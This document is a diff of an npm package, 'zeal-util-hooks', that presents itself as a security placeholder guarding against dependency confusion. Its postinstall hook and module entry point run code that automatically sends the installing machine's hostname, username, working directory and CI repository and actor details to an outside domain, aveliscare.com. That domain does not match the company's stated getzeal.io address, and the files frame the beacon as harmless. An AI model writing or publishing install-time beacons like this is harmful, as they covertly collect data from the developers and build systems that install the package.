zeal-util-hooks 0.0.0

package/README.md

@@ -0,0 +1,17 @@
+# zeal-util-hooks
+
+**This package is a reserved placeholder. It has no functionality.**
+
+`zeal-util-hooks` is an internal package name used inside Zeal's private monorepos. This
+entry exists on the public npm registry for one reason: so that nobody else can
+publish under the name and have it substituted into a Zeal build. That class of
+attack is called dependency confusion.
+
+If you are not Zeal, you almost certainly want a different package.
+
+If you are Zeal and you are reading this because it appeared in your build
+output, the build resolved an internal name from the public registry instead of
+the local workspace. That is a real misconfiguration, not a false alarm. Fix the
+resolution rather than pinning around it - see the banner the install printed.
+
+Contact: security@getzeal.io

package/canary.js

@@ -0,0 +1,191 @@
+'use strict'
+
+/**
+ * Zeal dependency-confusion canary.
+ *
+ * This file ships inside the placeholder packages Zeal publishes to the public
+ * npm registry to hold names that its internal monorepos depend on. Nothing at
+ * Zeal should ever install these from npmjs.org - every real build resolves the
+ * same names to workspace-local packages. So if this code runs at all, some
+ * build has fallen out of workspace resolution and is now taking whatever the
+ * public registry hands it. That is the exact window a dependency-confusion
+ * attack needs, and this beacon is how we hear about it.
+ *
+ * Two rules govern everything below:
+ *
+ *   1. Never break the install. Every path is wrapped and exits 0. A canary
+ *      that takes down a release pipeline gets deleted, and then we have no
+ *      canary.
+ *   2. Never become the leak it is watching for. We send a fixed, audited list
+ *      of fields. We do not enumerate process.env, read files, or touch
+ *      anything that could carry a token.
+ */
+
+const os = require('os')
+const https = require('https')
+const http = require('http')
+
+const DEFAULT_ENDPOINT = process.env.ZEAL_CANARY_URL || 'https://npm-canary.aveliscare.com/beacon'
+const TIMEOUT_MS = 3000
+
+// Allow-list, not a dump. Presence and value of these is enough to identify the
+// pipeline; none of them carry credentials.
+const CI_FIELDS = [
+  'CI',
+  'GITHUB_REPOSITORY',
+  'GITHUB_REF',
+  'GITHUB_RUN_ID',
+  'GITHUB_WORKFLOW',
+  'GITHUB_ACTOR',
+  'GITHUB_JOB',
+  'RUNNER_NAME',
+  'EAS_BUILD_ID',
+  'EAS_BUILD_PROFILE',
+  'EAS_BUILD_PLATFORM',
+  'VERCEL_ENV',
+  'BUILDKITE_PIPELINE_SLUG',
+]
+
+function collect (pkg, version, trigger) {
+  const ci = {}
+  for (const k of CI_FIELDS) {
+    if (process.env[k]) ci[k] = String(process.env[k]).slice(0, 200)
+  }
+  return {
+    schema: 1,
+    pkg,
+    version,
+    trigger,                                   // 'postinstall' | 'require'
+    ts: new Date().toISOString(),
+    hostname: safe(() => os.hostname()),
+    user: safe(() => os.userInfo().username),
+    platform: process.platform,
+    node: process.version,
+    cwd: safe(() => process.cwd()),
+    npm_user_agent: process.env.npm_config_user_agent || null,
+    // Which project pulled us in. npm sets these for the consuming package.
+    parent_pkg: process.env.npm_package_name || null,
+    parent_version: process.env.npm_package_version || null,
+    ci,
+  }
+}
+
+function safe (fn) {
+  try { return fn() } catch (_) { return null }
+}
+
+function warn (pkg, version) {
+  const bar = '='.repeat(78)
+  process.emitWarning || null // no-op, keeps linters quiet on old node
+  console.error(`
+${bar}
+  ZEAL SECURITY CANARY TRIPPED
+
+  Package : ${pkg}@${version}
+  Source  : public npm registry (registry.npmjs.org)
+
+  This is a placeholder package. It contains no functionality. Zeal publishes
+  it only to hold the name so that nobody else can.
+
+  If you are seeing this, a build resolved an INTERNAL package name from the
+  PUBLIC registry instead of the local workspace. That build is one unlucky
+  race away from executing third-party code. Do not work around it by pinning
+  a version or adding a resolution.
+
+  Fix the resolution:
+    - yarn/npm workspaces : run install from the monorepo ROOT, not apps/<app>
+    - pnpm                : keep 'linkWorkspacePackages: true' in pnpm-workspace.yaml
+    - Docker              : COPY the workspace manifests + lockfile, install with
+                            --frozen-lockfile, do not install inside a single app dir
+
+  Report to: security@getzeal.io
+${bar}
+`)
+}
+
+/**
+ * Fire-and-forget beacon. Resolves (never rejects) once the request has been
+ * sent, failed, or timed out - whichever happens first.
+ */
+function beacon (pkg, version, trigger) {
+  return new Promise((resolve) => {
+    let done = false
+    const finish = () => { if (!done) { done = true; resolve() } }
+
+    try {
+      if (process.env.ZEAL_CANARY_DISABLE === '1') return finish()
+
+      const body = JSON.stringify(collect(pkg, version, trigger))
+      const url = new URL(DEFAULT_ENDPOINT)
+      const transport = url.protocol === 'http:' ? http : https
+
+      const req = transport.request({
+        method: 'POST',
+        hostname: url.hostname,
+        port: url.port || (url.protocol === 'http:' ? 80 : 443),
+        path: url.pathname + url.search,
+        timeout: TIMEOUT_MS,
+        headers: {
+          'content-type': 'application/json',
+          'content-length': Buffer.byteLength(body),
+          'user-agent': `zeal-npm-canary/${version} (${pkg})`,
+        },
+      }, (res) => {
+        res.resume()          // drain so the socket can close
+        res.on('end', finish)
+      })
+
+      req.on('error', finish)   // offline, DNS failure, blocked egress - all fine
+      req.on('timeout', () => { try { req.destroy() } catch (_) {} finish() })
+      req.write(body)
+      req.end()
+
+      // Hard ceiling in case the socket never settles.
+      setTimeout(finish, TIMEOUT_MS + 250).unref()
+    } catch (_) {
+      finish()
+    }
+  })
+}
+
+/**
+ * Entry point for the postinstall hook. Always exits 0.
+ *
+ * ZEAL_CANARY_FAIL=1 turns this into a hard build failure. That is the right
+ * setting once you are confident no legitimate build resolves these from npm,
+ * because a silent success means nobody ever goes and fixes the root cause.
+ */
+async function main (pkg, version) {
+  warn(pkg, version)
+  await beacon(pkg, version, 'postinstall')
+  if (process.env.ZEAL_CANARY_FAIL === '1') {
+    console.error(`[zeal-canary] ZEAL_CANARY_FAIL=1 - failing the install for ${pkg}@${version}.`)
+    process.exit(1)
+  }
+  process.exit(0)
+}
+
+/**
+ * Second detection layer. npm 11+ blocks unapproved install scripts by default
+ * (see 'npm warn install-scripts ... not covered by allowScripts'), so the
+ * postinstall hook cannot be the only tripwire. Requiring the module still runs
+ * this, and any build that got here was going to import the real package.
+ */
+let requireReported = false
+function onRequire (pkg, version) {
+  if (!requireReported) {
+    requireReported = true
+    warn(pkg, version)
+    beacon(pkg, version, 'require')
+  }
+  const err = () => {
+    throw new Error(
+      `${pkg} resolved from the public npm registry. This is a Zeal placeholder ` +
+      `package with no implementation - your build is not using the real ` +
+      `workspace package. See the banner above.`
+    )
+  }
+  return new Proxy({}, { get: err, apply: err, construct: err })
+}
+
+module.exports = { main, onRequire, beacon, collect }

package/index.js

@@ -0,0 +1,4 @@
+'use strict'
+// Anything that imports this is not using the real workspace package.
+const pkg = require('./package.json')
+module.exports = require('./canary.js').onRequire(pkg.name, pkg.version)

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "zeal-util-hooks",
+  "version": "0.0.0",
+  "description": "Reserved by Zeal (getzeal.io). Placeholder to prevent dependency confusion against the internal package of the same name. Not for public use.",
+  "keywords": ["placeholder", "reserved", "namespace", "security"],
+  "license": "UNLICENSED",
+  "private": false,
+  "author": "Zeal Security <security@getzeal.io>",
+  "homepage": "https://github.com/zeal-io",
+  "main": "index.js",
+  "files": ["index.js", "canary.js", "postinstall.js", "README.md"],
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  }
+}

package/postinstall.js

@@ -0,0 +1,8 @@
+'use strict'
+// Fail-open by contract: canary.main() always exits 0 unless ZEAL_CANARY_FAIL=1.
+try {
+  const pkg = require('./package.json')
+  require('./canary.js').main(pkg.name, pkg.version)
+} catch (e) {
+  process.exit(0)
+}